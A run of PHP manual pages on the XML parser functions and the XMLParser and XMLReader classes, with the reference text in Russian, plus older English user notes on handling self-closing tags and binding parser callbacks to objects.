I noticed that in the example below, and all the examples I've seen on this site for viewing xml in html, the look of self closing tags such as <br /> are not preserved. The parser cannot distinguish between <tag /> and <tag></tag>, and if your start and end element functions are like these examples, both instances will be output with both an indvidual start and end tag.  I needed to preserve self-closing tags and it took me a while to figure out this work around. Hope this helps someone...

The start tag is left open, and then completed by it's first child, the next start tag or its end tag.  The end tag will complete with " />", or </tag> depending on the number of bytes between the start and end tags in the parsed data.
<?php
//$data=filepath or string
$data=<<<DATA
<normal_tag>
  <self_close_tag />
      data
  <normal_tag>data
     <self_close_tag attr="value" />
  </normal_tag>
      data
  <normal_tag></normal_tag>
</normal_tag>
DATA;

function startElement($parser, $name, $attrs)
{
        xml_set_character_data_handler($parser, "characterData");
        global $first_child, $start_byte;
        if($first_child)          //close start tag if neccessary
                echo "><br />";
        $first_child=true;
        $start_byte=xml_get_current_byte_index ($parser);
        if(count($attrs)>=1){
                foreach($attrs as $x=>$y){
                        $attr_string .= " $x=\"$y\"";
                }
        }
        echo htmlentities("<{$name}{$attr_string}"); //unclosed starttag
}

function endElement($parser, $name)
{
        global $first_child, $start_byte;
        $byte=xml_get_current_byte_index ($parser);
        if($byte-$start_byte>2){           //if end tag is more than 2 bytes from start tag
                if($first_child)          //close start tag if neccessary
                        echo "><br />";
                echo htmlentities("</{$name}>")."<br />";  //individual end tag
        }else
                echo " /><br />";  // self closing tag
        $first_child=false;

}

function characterData($parser, $data)
{
        global $first_child;
        if($first_child)  //if $data is first child, close start tag
                echo "><br />";
        if($data=trim($data))
                echo "<font color='blue'>$data</font><br />";
        $first_child=false;
}

function ParseData($data)
{
        $xml_parser = xml_parser_create();
        xml_set_element_handler($xml_parser, "startElement", "endElement");
        xml_parser_set_option($xml_parser,XML_OPTION_CASE_FOLDING,0);
        if(is_file($data))
        {
                if (!($fp = fopen($file, "r"))) {
                        die("could not open XML input");
                }

                while ($data = fread($fp, 4096)) {
                        if (!xml_parse($xml_parser, $data, feof($fp))) {
                                $error=xml_error_string(xml_get_error_code($xml_parser));
                               $line=xml_get_current_line_number($xml_parser);
                                die(sprintf("XML error: %s at line %d",$error,$line));
                        }
                }
        }else{
                if (!xml_parse($xml_parser, $data, 1)) {
                                $error=xml_error_string(xml_get_error_code($xml_parser));
                                $line=xml_get_current_line_number($xml_parser);
                                die(sprintf("XML error: %s at line %d",$error,$line));
                }
        }

        xml_parser_free($xml_parser);
}

ParseData($data);
?>
youniforever at naver dot com 30-Apr-2005 03:41
<html>
  <head>
    <title>SAX Demonstration</title>
   <META HTTP-EQUIV='Content-type' CONTENT='text/html; charset=euc-kr'>
  </head>
  <body>
    <h1>RSS ??????</h1>

      <?php

     $file = "data.xml";

      $currentTag = "";
      $currentAttribs = "";

      function startElement($parser, $name, $attribs)
      {
          global $currentTag, $currentAttribs;
          $currentTag = $name;

          $currentAttribs = $attribs;
          switch ($name) {

          default:
              echo("<b>&lt$name&gt</b><br>");
              break;
          }
      }

      function endElement($parser, $name)
      {
          global $currentTag;
          switch ($name) {
          default:
              echo("<br><b>&lt/$name&gt</b><br><br>");
              break;
          }
          $currentTag = "";
          $currentAttribs = "";
      }

      function characterData($parser, $data)
      {
          global $currentTag;
          switch ($currentTag) {
          case "link":
              echo("<a href=\"$data\">$data</a>\n");
              break;
          case "title":
              echo("title : $data");
              break;
          default:
              echo($data);
              break;
          }
      }

     $xmlParser = xml_parser_create();

      $caseFold = xml_parser_get_option($xmlParser,
                                        XML_OPTION_CASE_FOLDING);

      $targetEncoding = xml_parser_get_option($xmlParser,
                                              XML_OPTION_TARGET_ENCODING);

      if ($caseFold == 1) {
          xml_parser_set_option($xmlParser, XML_OPTION_CASE_FOLDING, false);
      }

      xml_set_element_handler($xmlParser, "startElement", "endElement");
      xml_set_character_data_handler($xmlParser, "characterData");

      if (!($fp = fopen($file, "r"))) {
          die("Cannot open XML data file: $file");
      }

     while ($data = fread($fp, 4096)) {
          if (!xml_parse($xmlParser, $data, feof($fp))) {
              die(sprintf("XML error: %s at line %d",
                          xml_error_string(xml_get_error_code($xmlParser)),
                          xml_get_current_line_number($xmlParser)));
              xml_parser_free($xmlParser);
          }
      }
      xml_parser_free($xmlParser);
      ?>
    </table>
  </body>
</html>
13-Mar-2005 01:34
In response to aw at avatartechnology dot com...
In response to landb at mail dot net...

When your functions are in an object:
Careful ! Don't forget to add: & (reference) to your parameters.

xml_set_element_handler($parser, array(&$this,"_startElement"), array(&$this,"_endElement"));
--> xmlparse will work on your object (good).

instead of:
xml_set_element_handler($parser, array($this,"_startElement"), array($this,"_endElement"));
---> xmlparse will work on a COPY of your object (often bad)

Vin-s
(sorry for my english)
aw at avatartechnology dot com 21-Oct-2004 08:40
In response to landb at mail dot net...

As the notes mention, you can pass an array that contains the reference to an object and a method name when you need... so you can call methods in your own class as handlers like this:

xml_set_element_handler($parser, array($this,"_startElement"), array($this,"_endElement"));

Hope it helps...
tj at tobyjoe dot com 31-Jan-2003 11:22
It seems that the tag handlers don't block on one another (the end handler is called whether or not the begin handler has finished). this can put you in a tight spot if you don't realize it while planning your app.
11-Oct-2001 04:09
You CAN use classes to parse XML. Just take a look at the following function:

xml_set_object
jg at jmkg dot net 07-May-2001 11:08
If you are using a class for xml parsing, and want to check the return value of xml_set_element_handler in case it  fails, you must do this outside of the class's constructor. Inside the constructor, PHP-4.0.5 will die.

Basically, put all your xml initialisation code in another function of the class, and keep it out of the constructor.


Установка обработчика выхода за пределы пространства имён

  • « xml_set_element_handler
  • xml_set_external_entity_ref_handler »
  • PHP Manual
  • Функции парсера XML
  • Установка обработчика выхода за пределы пространства имён

xml_set_end_namespace_decl_handler

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

xml_set_end_namespace_decl_handler — Установка обработчика выхода за пределы пространства имён

Описание

xml_set_end_namespace_decl_handler(XMLParser $parser, callable $handler): true

Задаёт обработчик, который вызывается при выходе за пределы объявления пространства имён. Этот обработчик будет вызываться для каждого объявления пространства имён после того как отработает обработчик окончания элемента, в котором это пространство имён было объявлено.

Предостережение

Это событие не поддерживается LibXML, поэтому зарегистрированный обработчик не будет называться.

Список параметров

parser

Парсер XML.

handler

Если передаётся значение null или пустая строка, то обработчик возвращается в состояние по умолчанию.

Если параметр handler является типом callable, то в качестве обработчика устанавливается callable.

Если параметр handler является строкой (string), то это может быть имя метода объекта, заданного с помощью функции xml_set_object().

Сигнатура обработчика должна быть:

handler(XMLParser $parser, string|false $prefix)
parser
XML-парсер, вызывающий обработчик.
prefix
Префикс - строка, используемая как ссылка на пространство имён в пределах XML объекта. false, если префикс не существует.

Возвращаемые значения

Функция всегда возвращает true.

Список изменений

Версия | Описание
8.0.0 | Параметр parser ожидает экземпляр класса XMLParser; раньше параметр ждал корректный xml-ресурс (resource).

Смотрите также

  • xml_set_start_namespace_decl_handler() - Устанавливает обработчик входа в пределы пространства имён

User Contributed Notes

There are no user contributed notes for this page.


Установка обработчика внешних сущностей

  • « xml_set_end_namespace_decl_handler
  • xml_set_notation_decl_handler »
  • PHP Manual
  • Функции парсера XML
  • Установка обработчика внешних сущностей

xml_set_external_entity_ref_handler

(PHP 4, PHP 5, PHP 7, PHP 8)

xml_set_external_entity_ref_handler — Установка обработчика внешних сущностей

Описание

xml_set_external_entity_ref_handler(XMLParser $parser, callable $handler): true

Задаёт функцию обработчик внешних сущностей для XML-анализатора parser.

Список параметров

parser

Парсер XML.

handler

Если передаётся значение null или пустая строка, то обработчик возвращается в состояние по умолчанию.

Если параметр handler является типом callable, то в качестве обработчика устанавливается callable.

Если параметр handler является строкой (string), то это может быть имя метода объекта, заданного с помощью функции xml_set_object().

Сигнатура обработчика должна быть:

handler(
XMLParser $parser,
string $open_entity_names,
string|false $base,
string $system_id,
string|false $public_id
): bool
parser
XML-парсер, вызывающий обработчик.
open_entity_names
Список разделённых пробелами имён сущностей, которые могут участвовать в разборе текущей сущности (включая текущую сущность).
base
Это основа для разрешения системного идентификатора (system_id) внешней сущности.
system_id
Системный идентификатор в том виде, как он представлен в объявлении сущности.
public_id
Общедоступный идентификатор в том виде, как он представлен в объявлении сущности, либо пустая строка, если такового нет; пробелы в идентификаторе будут нормализованы в соответствии с требованиями XML-спецификации.

Обработчик должен вернуть true, если сущность была обработана, в противном случае он должен вернуть false. При возврате значения false, XML-парсер прекращает разбор, а функция xml_get_error_code() возвращает константу XML_ERROR_EXTERNAL_ENTITY_HANDLING.

Возвращаемые значения

Функция всегда возвращает true.

Список изменений

Версия | Описание
8.0.0 | Параметр parser ожидает экземпляр класса XMLParser; раньше параметр ждал корректный xml-ресурс (resource).
7.3.0 | Возвращаемое значение handler больше не игнорируется, если модуль был собран с библиотекой libxml. Раньше возвращаемое значение игнорировалось, а разбор никогда не останавливался.

User Contributed Notes

There are no user contributed notes for this page.


Установка обработчика объявления условных обозначений

  • « xml_set_external_entity_ref_handler
  • xml_set_object »
  • PHP Manual
  • Функции парсера XML
  • Установка обработчика объявления условных обозначений

xml_set_notation_decl_handler

(PHP 4, PHP 5, PHP 7, PHP 8)

xml_set_notation_decl_handler — Установка обработчика объявления условных обозначений

Описание

xml_set_notation_decl_handler(XMLParser $parser, callable $handler): true

Задаёт обработчик объявления обозначений для XML-анализатора parser.

Раздел объявления обозначений является частью DTD документа и имеет следующий формат:

<!NOTATION <parameter>name</parameter>
{ <parameter>systemId</parameter> | <parameter>publicId</parameter>?>
Смотрите » раздел 4.7 спецификации XML 1.0 для более полного описания обозначений (нотаций).

Список параметров

parser

Парсер XML.

handler

Если передаётся значение null или пустая строка, то обработчик возвращается в состояние по умолчанию.

Если параметр handler является типом callable, то в качестве обработчика устанавливается callable.

Если параметр handler является строкой (string), то это может быть имя метода объекта, заданного с помощью функции xml_set_object().

Сигнатура обработчика должна быть:

handler(
XMLParser $parser,
string $notation_name,
string|false $base,
string $system_id,
string|false $public_id
): void
parser
XML-парсер, вызывающий обработчик.
notation_name
Имя обозначения в том же виде, как описано выше.
base
Это основа для разрешения системного идентификатора (system_id) внешней сущности.
system_id
Системный идентификатор объявления внешнего обозначения.
public_id
Общедоступный идентификатор объявления внешнего обозначения.

Возвращаемые значения

Функция всегда возвращает true.

Список изменений

Версия | Описание
8.0.0 | Параметр parser ожидает экземпляр класса XMLParser; раньше параметр ждал корректный xml-ресурс (resource).

User Contributed Notes

There are no user contributed notes for this page.


Использование XML-анализатора внутри объекта

  • « xml_set_notation_decl_handler
  • xml_set_processing_instruction_handler »
  • PHP Manual
  • Функции парсера XML
  • Использование XML-анализатора внутри объекта

xml_set_object

(PHP 4, PHP 5, PHP 7, PHP 8)

xml_set_object — Использование XML-анализатора внутри объекта

Описание

xml_set_object(XMLParser $parser, object $object): true

Эта функция позволяет использовать parser внутри объекта object. Все callback-функции могут быть установлены функциями xml_set_element_handler() и т.п. и использоваться как методы объекта object.

Список параметров

parser

Ссылка на XML-анализатор.

object

Объект, в котором будет использоваться XML-анализатор.

Возвращаемые значения

Функция всегда возвращает true.

Список изменений

Версия | Описание
8.0.0 | Параметр parser ожидает экземпляр класса XMLParser; раньше параметр ждал корректный xml-ресурс (resource).

Примеры

Пример #1 Пример использования xml_set_object()

<?php
class CustomXMLParser
{
private $parser;

function __construct()
{
$this->parser = xml_parser_create();

xml_set_object($this->parser, $this);
xml_set_element_handler($this->parser, "tag_open", "tag_close");
xml_set_character_data_handler($this->parser, "cdata");
}

function parse($data)
{
xml_parse($this->parser, $data);
}

function tag_open($parser, $tag, $attributes)
{
var_dump($tag, $attributes);
}

function cdata($parser, $cdata)
{
var_dump($cdata);
}

function tag_close($parser, $tag)
{
var_dump($tag);
}

} // окончание определения класса xml

$xml_parser = new CustomXMLParser();
$xml_parser->parse("<A ID='hallo'>PHP</A>");
?>

Результат выполнения приведённого примера:

string(1) "A"
array(1) {
  ["ID"]=>
  string(5) "hallo"
}
string(3) "PHP"
string(1) "A"

User Contributed Notes

joey at gimo dot co dot uk 10-Aug-2016 10:32
This function seems to be of very limited use when [$object_instance, "method_name"] is a callable.
wake dot shinigami at gmail dot com 23-Nov-2005 08:28
I finally managed to get xml_set_object() to work, after much documentation searching.  As the solution I found has been hinted at, the focus has been wrong.

There have been many problems getting class contained XML parsers to make changes to the members of an instance.  This is because, from what I'm guessing, the functions are using a either a new annonymous instance of the class or an uninstanced version of the class.

What we want to make sure it does it that the parser is accessing its handlers as member methods of a particular instance of a class.  This can be done using the array method for passing a callback, setting the object as a reference to this instance.  This way, you know that the parser is going to call the function properly.

Ex:
<?php
class Parser {

 private $parser;
 private $data;

 public function __construct() {
  $this->parser = NULL;
  $this->data = '';
 }

 private function ParseElementStart($parser, $name, $attrs) {
  // Code
 }
 private function ParseElementEnd($parser, $name) {
  // Code
 }

 public function Parse($XMLdata) {
  $this->parser = xml_parser_create();
  xml_set_object($this->parser, $this);
  xml_set_element_handler($this->parser,
                          array(&$this, 'ParseElementStart'),
                          array(&$this, 'ParseElementEnd'));
  xml_parse($this->parser, $XMLdata);
  xml_parser_free($this->parser);
 }
}
?>

With this, when you call the Parse method, the data in that instance can be modified.  I'm not sure if xml_set_object becomes unneccissary when using the array callbacks, but I leave it in just to make sure that the xml_parse function knows it's in the object.

As above, I'd recommend for memory sake, that the XML parser be created, used, and freed all in the same function, to ensure that everything is cleaned up correctly.
bettmenn at gmx dot de 16-Oct-2004 02:03
Adding to 'lmfe at mega dot ist dot utl dot pt' contribution below, I have to say that this behaviour is very usual for PHP if MemberVars of an Object arent initialized from the constructor.
What worked best for me so far was something like this:
<?php
class foo {
  var $bar
  // the constructor
  function foo() {
    unset($this->bar);  // with every instanciation, the variable is cleared for the object
  }
}
?>
lmfe at mega dot ist dot utl dot pt 29-Sep-2004 10:51
Using PHP 4.3.0, I got this strange behaviour:

<?php
class xml  {

     /* (as specified in the documentation above) */

} // end of class xml

/* This code works */
$xml_parser = new xml();
$xml_parser->parse("<A ID='hallo'>PHP</A>");

/* This code works */
$xml_parser2 = new xml();
$xml_parser2->parse("<A ID='hallo2'>PHP2</A>");

/* This code DON'T work */
$xml_parser = new xml();
$xml_parser->parse("<A ID='hallo3'>PHP3</A>");
?>

In the third block of code, php complains it can't find the handlers it needs.
It seems this problem only happens if the variable is used more than once.
Calling xml_parser_free doesn't help
hwheinzen at t-online dot de 14-Aug-2004 03:38
(Adding to zitan's note)
It seems easy enough to provide output functions for callback handler classes too.

Example:

<?php
class CallBack {
    var $name = 'Callback';
    var $info = 'Information!';
    function toString() {
        return $this->name.': '.$this->info;
    }
}
class Main {
    var $name = 'Main';
    var $callBackObject;
    function setCallBack(&$cBIn) { $this->callBackObject = $cBIn; }
    function toString() {
        return $this->name.': '.$this->callBackObject->toString();
    }
}

$cb = & new CallBack;
$m = & new Main;
$m->setCallBack(&$cb);
echo $cb->toString();
echo $m->toString();
?>

So, after collecting information during the parse operation within the callback handler class, e.g. in tag_close(), retrieving them is possible.
zitan at mediasculpt dot net 01-Sep-2003 09:05
Just a note about creating abstract "call back handlers" as mentioned in some of the other notes.  In this case I recommend extending the base XML class and overwritting the handler methods.  The reason I wanted to do this, is that if you have a separate callback method class it causes problems, for example if you want to collect information out of the XML file and store it in an array.  You can get around it with global variables, but I prefer to use them only when required ;)

Example:

<?php
class xml_output extends xml{

  var $output = array();

   function xml_output(){
    $this->xml();
   }

    //overwrite base methods
    function tag_open($parser, $tag, $attributes)
    {
        array_push($this->output, "<$tag, attributes>");
    }

    function cdata($parser, $cdata)
    {
         array_push($this->output, "$cdata");
    }

    function tag_close($parser, $tag)
    {
         array_push($this->output, "</$tag>");
    }

}

$xml_parser = & new xml_output();
$xml_parser->parse("<A ID='hallo'>PHP</A>");
echo("$xml_parser->output");
?>
sbeam at syxyz dot net 12-Nov-2002 09:34
passing the object as a call-time ref (&$this) as in the example will create a warning in php 4.1+. Pass xml_set_object($xp,$this); instead. This does not seem to break anything - but I dont know for sure.
chiefgeek at ecodedesign.com 04-Aug-2002 10:37
Just adding a little note about my above written example.  It needs some improvements.

Because PHP passes by VALUE by default, when you pass an array like this:
array($callback_handler, 'handler_method')
PHP makes a copy of the callback_handler object and uses the handler_method in the copy.

This is not an ideal situation for many reasons...which I will not get into here...but you should have an idea by now.

The best way to fix this is to change a few things. In the function declaration change the parameter from $callback_handler to &$callback_handler. So now your declaration should look like this

function set_callback_handler(&$callback_handler)
{
  ...
}

Now each time you reference $callback_handler change it to &$callback_handler.  For example:

xml_set_element_handler(
          $this->xml_parser,
          array(&$callback_handler, 'start_element'),
          array(&$callback_handler, 'close_Element' ));

This ensures that PHP will always use the same object.
chiefgeek at ecodedesign.com 03-Aug-2002 08:25
xml_set_object is great, if you want to hard code your start_element, end_element, etc functions within your xml class.

But what if you want to increase the modularity of your application?

Solution, create one generic XMLParser class that handles everything *except* the callback funtions.  Then create an abstract XMLCallbackHandler class which you can extend to provide any customization you want.

So how do you tell the php's xml_parser that you want to use this other class to handle the callback functions.

xml_set_object?  This only works if the functions are *within* the object you called this method from.

The solution lies in the xml_set_element_handler() function.
Take a look at this sample source...

class XMLParser
{

  ...

  function set_callback_handler($callback_handler)
  {
    // Assign the startElement endElement functions
    xml_set_element_handler(
          $this->xml_parser,
          array($callback_handler, 'start_element'),
          array($callback_handler, 'close_Element' ));

    /* By passing an array with this ($object, 'function_name') structure
       to the 2nd and 3rd parameters.  We are able to tell the parser to
       look in another object for these callback functions.
    */

    // Assign the character data function
    xml_set_character_data_handler(
          $this->xml_parser,
          array($callback_handler, 'character_data'));
    }
}

class myCallBackHandler
{
  function start_element(...)
  {
    //code goes here
  }

  function end_element(...)
  {
    //code goes here
  }

  function character_data(...)
  {
    //code goes here
  }
}

Now all thats left to do is use these classes..

$parser = new XMLParser();
$parser->set_callback_handler(new myCallbackHandler());
dfoesch at cs dot nmsu dot edu 12-Apr-2002 05:38
English explaination of why you do: $xml = & new xml();

Ok, when PHP executes "new xml()" it creates an anonymous variable (one that you can't reference with any name) which it then runs the constructor function on.  Ok, now once that's done, it then assigns by VALUE in the example above.  This means that that lovely pointer to your parser is pointing to the anonymous instance of your class, and not the used instance of your class... thus making a "shadow" of all your variables, where assignments inside the parser access different variables than outside the parser.  What PHP _SHOULD_ be doing (similar to C++) is have this statement execute such that the assignment is done by REFERENCE, so that you assign the new name to the class that actually got constructed, and not just a copy of the class that you constructed.

If they did it right, this code wouldn't be broken.
14-Feb-2002 11:10
Call-time pass-by-reference has been deprecated, so the example is buggy as was already mentionned. However since 4.04 (I think) "new" can return objects by reference. So the clean way to have both the parser initialised in the constructor, and to save the result in your object is to do

$xml_parser = & new xml();

see http://www.php.net/manual/en/language.oop.newref.php

Ivan
pete dot nelson at serverSXPYAZMsolved dot com 27-Aug-2001 10:15
<p>in reply to jon9mm's question, I have found the same problem (function 'startElement' does not exist).  I finally found the way around this, by re-reading this doc for xml_set_object.  You HAVE to use the xml_set_object($this->parser, &$this) within your parser function.</p> <p>When that function is called, your object temporarily becomes the parser object and shares scope (so it can see 'startElement', etc).   Once that function is done, the xml_set_object(...) call goes out of scope, and your object is no longer bound to the parser.  So the simplist solution is to call xml_set_object(...), do any parsing, and then call xml_parser_free(...) all within the same function.</p>
<p>And remember, don't call xml_set_object(...) in your object's constructor - your object will be forever bound to the parser object and you'll loose all access to your object's member functions.</p>
<p>This is all explained in the examples above, but it took me reading it a couple of times to grok how it all works.</p>
nick at category4 dot com 14-May-2001 01:45
If you're using the XML parser within an object, be careful not to accidentally call any methods that don't exist within the object. Instead of complaining that the missing method doesn't exist, PHP will say it's not able to find the handler routines, even if you've indicated them correctly. (PHP version 4.0.5 on FreeBSD).
williams at cse dot unl dot edu 06-Dec-2000 12:42
If xml_set_object is not called in the constructor of an object, the values that the parser modifies will be saved. Else, the values do not seem to be saved as stated by "i_sofer" above.
--- Start Example Code ---
class foo {
var xmlparser;
function foo() { \\the constructor
$this->xmlparser=xmlparser_create();
}
function parse() {
xml_set_object($this->xmlparser,&$this);
\\also include data handler
\\and element handlers here
}
}
--- End Example Code ---
i_sofer at yahoo dot com 18-Nov-2000 04:15
Using xml parser in objects seem to have a problem that values modified(even of the object itself) get lost as soon as parsing ends...
malcontent at msgto dot com 20-Aug-2000 12:11
The example will generate a warning unless allow_call_time_pass_reference is set to true in your INI file. It also will not accept a call by value.
robert at webmotion dot com 18-Apr-2000 10:58
While true that there is no automatic destructor for PHP class objects, it is quite simple to create a method called destroy and perform the destruction manually. In the example above it may not be necessary to free the xml parser immediately... it would appear from the example that the object is re-useable.


Установка обработчика инструкций препроцессора (PI)

  • « xml_set_object
  • xml_set_start_namespace_decl_handler »
  • PHP Manual
  • Функции парсера XML
  • Установка обработчика инструкций препроцессора (PI)

xml_set_processing_instruction_handler

(PHP 4, PHP 5, PHP 7, PHP 8)

xml_set_processing_instruction_handler — Установка обработчика инструкций препроцессора (PI)

Описание

xml_set_processing_instruction_handler(XMLParser $parser, callable $handler): true

Задаёт обработчик инструкций препроцессора (PI) для XML-анализатора. parser.

Инструкции имеют следующий формат:

<?target
data
?>

Предостережение

PHP-код разграничивается инструкцией обработки <?php. Таким образом, в XML-документе можно располагать PHP-код. Однако конечный тег PI (?>) не должен быть частью данных. Если завершающий тег PI является частью встроенного PHP-кода, то остальная часть PHP-кода и "настоящий" тег PI end будут рассматриваться как символьные данные.

Список параметров

parser

Парсер XML.

handler

Если передаётся значение null или пустая строка, то обработчик возвращается в состояние по умолчанию.

Если параметр handler является типом callable, то в качестве обработчика устанавливается callable.

Если параметр handler является строкой (string), то это может быть имя метода объекта, заданного с помощью функции xml_set_object().

Сигнатура обработчика должна быть:

handler(XMLParser $parser, string $target, string $data): void
parser
XML-парсер, вызывающий обработчик.
target
Цель применения PI.
data
PI-данные.

Возвращаемые значения

Функция всегда возвращает true.

Список изменений

Версия | Описание
8.0.0 | Параметр parser ожидает экземпляр класса XMLParser; раньше параметр ждал корректный xml-ресурс (resource).

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает обработчик входа в пределы пространства имён

  • « xml_set_processing_instruction_handler
  • xml_set_unparsed_entity_decl_handler »
  • PHP Manual
  • Функции парсера XML
  • Устанавливает обработчик входа в пределы пространства имён

xml_set_start_namespace_decl_handler

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

xml_set_start_namespace_decl_handler — Устанавливает обработчик входа в пределы пространства имён

Описание

xml_set_start_namespace_decl_handler(XMLParser $parser, callable $handler): true

Задаёт обработчик события входа в пространство имён. То есть обработчик вызывается анализатор находит объявление пространства имён. Подобные объявления находятся в открывающих тэгах элементов. Этот обработчик вызывается до обработчика начала тэга.

Список параметров

parser

Парсер XML.

handler

Если передаётся значение null или пустая строка, то обработчик возвращается в состояние по умолчанию.

Если параметр handler является типом callable, то в качестве обработчика устанавливается callable.

Если параметр handler является строкой (string), то это может быть имя метода объекта, заданного с помощью функции xml_set_object().

Сигнатура обработчика должна быть следующей:

handler(XMLParser $parser, string|false $prefix, string $uri): void
parser
XML-парсер, вызывающий обработчик.
prefix
Префикс — строка-ссылка на пространство имён в пределах XML-объекта. Логическое значение false, если префикс не существует.
uri
Универсальный идентификатор ресурса (URI) пространства имён.

Возвращаемые значения

Функция всегда возвращает true.

Список изменений

Версия | Описание
8.0.0 | Параметр parser ожидает экземпляр класса XMLParser; раньше параметр ждал корректный xml-ресурс (resource).

Смотрите также

  • xml_set_end_namespace_decl_handler() - Установка обработчика выхода за пределы пространства имён

User Contributed Notes

There are no user contributed notes for this page.


Установка обработчика неразобранных объявлений сущностей

  • « xml_set_start_namespace_decl_handler
  • XMLParser »
  • PHP Manual
  • Функции парсера XML
  • Установка обработчика неразобранных объявлений сущностей

xml_set_unparsed_entity_decl_handler

(PHP 4, PHP 5, PHP 7, PHP 8)

xml_set_unparsed_entity_decl_handler — Установка обработчика неразобранных объявлений сущностей

Описание

xml_set_unparsed_entity_decl_handler(XMLParser $parser, callable $handler): true

Задаёт функцию обработчик неразобранных объявлений сущностей для XML-анализатора parser.

Обработчик handler будет вызван, если XML-анализатор обнаружит NDATA-объявление внешней сущности вида:

<!ENTITY <parameter>name</parameter> {<parameter>publicId</parameter> | <parameter>systemId</parameter>}
        NDATA <parameter>notationName</parameter>

Смотрите » раздел 4.2.2 XML 1.0 спецификации, чтобы получить точное определение обозначений внешних сущностей.

Список параметров

parser

Парсер XML.

handler

Если передаётся значение null или пустая строка, то обработчик возвращается в состояние по умолчанию.

Если параметр handler является типом callable, то в качестве обработчика устанавливается callable.

Если параметр handler является строкой (string), то это может быть имя метода объекта, заданного с помощью функции xml_set_object().

Сигнатура обработчика должна быть:

handler(
XMLParser $parser,
string $entity_name,
string|false $base,
string $system_id,
string|false $public_id,
string|false $notation_name
): void
parser
XML-парсер, вызывающий обработчик.
entity_name
Имя сущности, которой требуется дать определение.
base
Это основа для разрешения системного идентификатора (system_id) внешней сущности.
system_id
Системный идентификатор внешней сущности.
public_id
Общедоступный идентификатор внешней сущности.
notation_name
Имя обозначения этой сущности (смотрите xml_set_notation_decl_handler()).

Возвращаемые значения

Функция всегда возвращает true.

Список изменений

Версия | Описание
8.0.0 | Параметр parser ожидает экземпляр класса XMLParser; раньше параметр ждал корректный xml-ресурс (resource).

User Contributed Notes

There are no user contributed notes for this page.


Класс XMLParser

(PHP 8)

Введение

Полностью непрозрачный класс, который с PHP 8.0.0 заменяет XML-ресурсы.

Обзор классов

final class XMLParser {
}

User Contributed Notes

There are no user contributed notes for this page.


XMLReader

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • XMLReader — Класс XMLReader
    • XMLReader::close — Закрыть ввод XMLReader
    • XMLReader::expand — Возвратить копию текущего узла в виде объекта DOM
    • XMLReader::getAttribute — Получить значение атрибута с определённым именем
    • XMLReader::getAttributeNo — Получить значение атрибута по индексу
    • XMLReader::getAttributeNs — Получить значение атрибута по localname и URI
    • XMLReader::getParserProperty — Указывает, было ли определённое свойство установлено
    • XMLReader::isValid — Указывает, содержит ли анализируемый документ синтаксические ошибки
    • XMLReader::lookupNamespace — Найти пространство имён для префикса
    • XMLReader::moveToAttribute — Переместить курсор к атрибуту с заданным именем
    • XMLReader::moveToAttributeNo — Переместить курсор на атрибут по индексу
    • XMLReader::moveToAttributeNs — Переместить курсор к именованному атрибуту
    • XMLReader::moveToElement — Позиционировать курсор на родительском элементе текущего атрибута
    • XMLReader::moveToFirstAttribute — Переместить позицию курсора на первый атрибут
    • XMLReader::moveToNextAttribute — Переместить позицию курсора на следующий атрибут
    • XMLReader::next — Переместить курсор на следующий узел, пропуская все поддеревья
    • XMLReader::open — Установить URI, содержащий XML-документ для разбора
    • XMLReader::read — Переместиться к следующему узлу в документе
    • XMLReader::readInnerXml — Извлечь XML из текущего узла
    • XMLReader::readOuterXml — Получить XML из текущего узла, включая сам узел
    • XMLReader::readString — Прочитать содержимое текущего узла как строку
    • XMLReader::setParserProperty — Устанавливает опцию парсера
    • XMLReader::setRelaxNGSchema — Установить имя файла или URI для схемы RelaxNG
    • XMLReader::setRelaxNGSchemaSource — Устанавливает данные, содержащие схему RelaxNG
    • XMLReader::setSchema — Проверить документ, используя XSD
    • XMLReader::XML — Установить данные, содержащие XML для разбора

User Contributed Notes

There are no user contributed notes for this page.


Введение

Модуль XMLReader — синтаксический анализатор XML-документов. Класс-читатель выступает в качестве курсора, следует по потоку документа и останавливается на каждом узле на этом пути.

Кодировка

Важно отметить, что модуль libxml внутри работает с кодировкой UTF-8 и поэтому кодировка извлекаемого содержимого будет UTF-8.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Модуль XMLReader поставляется с исходным кодом PHP. Модуль включён по умолчанию. Он может быть отключён во время выполнения опцией: --disable-xmlreader

User Contributed Notes

Miguel Cruz 11-Jun-2012 01:06
If you are having trouble loading this extension (perhaps with a log message like 'Undefined symbol "dom_node_class_entry"'), make sure that you have xmlreader.so listed AFTER dom.so in php.ini.
alvaro at digdib dot com 02-Jan-2009 02:33
Gentoo users: emerge does not compile dev-lang/php with --enable-xmlreader by default. To enable this option, add the flag xmlreader to your USE variable and recompile php.


Класс XMLReader

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

Введение

Модуль XMLReader - синтаксический анализатор XML. Класс-читатель выступает в качестве курсора, следует по потоку документа и останавливается на каждом узле на этом пути.

Обзор классов

class XMLReader {
/* Константы */
public const int NONE;
public const int ELEMENT;
public const int ATTRIBUTE;
public const int TEXT;
public const int CDATA;
public const int ENTITY_REF;
public const int ENTITY;
public const int PI;
public const int COMMENT;
public const int DOC;
public const int DOC_TYPE;
public const int DOC_FRAGMENT;
public const int NOTATION;
public const int WHITESPACE;
public const int SIGNIFICANT_WHITESPACE;
public const int END_ELEMENT;
public const int END_ENTITY;
public const int XML_DECLARATION;
public const int LOADDTD;
public const int DEFAULTATTRS;
public const int VALIDATE;
public const int SUBST_ENTITIES;
/* Свойства */
public int $attributeCount;
public string $baseURI;
public int $depth;
public bool $hasAttributes;
public bool $hasValue;
public bool $isDefault;
public bool $isEmptyElement;
public string $localName;
public string $name;
public string $namespaceURI;
public int $nodeType;
public string $prefix;
public string $value;
public string $xmlLang;
/* Методы */
public close(): true
public expand(?DOMNode $baseNode = null): DOMNode|false
public getAttribute(string $name): ?string
public getAttributeNo(int $index): ?string
public getAttributeNs(string $name, string $namespace): ?string
public getParserProperty(int $property): bool
public isValid(): bool
public lookupNamespace(string $prefix): ?string
public moveToAttribute(string $name): bool
public moveToAttributeNo(int $index): bool
public moveToAttributeNs(string $name, string $namespace): bool
public moveToElement(): bool
public moveToFirstAttribute(): bool
public moveToNextAttribute(): bool
public next(?string $name = null): bool
public static open(string $uri, ?string $encoding = null, int $flags = 0): bool|XMLReader
public read(): bool
public readInnerXml(): string
public readOuterXml(): string
public readString(): string
public setParserProperty(int $property, bool $value): bool
